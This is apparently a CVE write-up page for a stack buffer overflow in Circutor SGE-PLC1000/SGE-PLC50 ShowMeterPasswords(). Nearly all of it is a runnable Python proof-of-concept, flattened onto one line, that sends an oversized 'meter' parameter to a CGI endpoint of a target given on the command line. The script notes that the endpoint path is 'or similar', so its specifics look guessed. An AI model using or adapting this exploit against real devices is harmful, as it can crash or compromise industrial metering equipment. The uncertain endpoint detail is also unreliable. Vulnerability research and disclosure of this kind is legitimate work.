CVE-2025-11785: Circutor SGE-PLC1000/SGE-PLC50 ShowMeterPasswords()栈缓冲区溢出漏洞

import requests import sys # CVE-2025-11785 PoC - Circutor SGE-PLC Buffer Overflow # Target: /cgi-bin/show_meter_passwords or similar endpoint def exploit_cve_2025_11785(target_url, meter_payload): """ Exploit for CVE-2025-11785 - Stack-based buffer overflow in ShowMeterPasswords() Args: target_url: Base URL of the Circutor SGE-PLC device meter_payload: Malicious input for 'meter' parameter Returns: Response from the server """ # Construct the malicious request params = { 'meter': meter_payload # Oversized input triggers buffer overflow } try: # Send the malicious request response = requests.get( f"{target_url}/cgi-bin/show_meter_passwords", params=params, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def generate_overflow_payload(length=1000): """ Generate buffer overflow payload Args: length: Length of the payload (default 1000 bytes) Returns: String of 'A' characters of specified length """ # Generate payload that exceeds buffer size return 'A' * length if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1] # Generate overflow payload (adjust length as needed) payload = generate_overflow_payload(1000) print(f"[*] Sending exploit payload to {target}") print(f"[*] Payload length: {len(payload)}") response = exploit_cve_2025_11785(target, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}")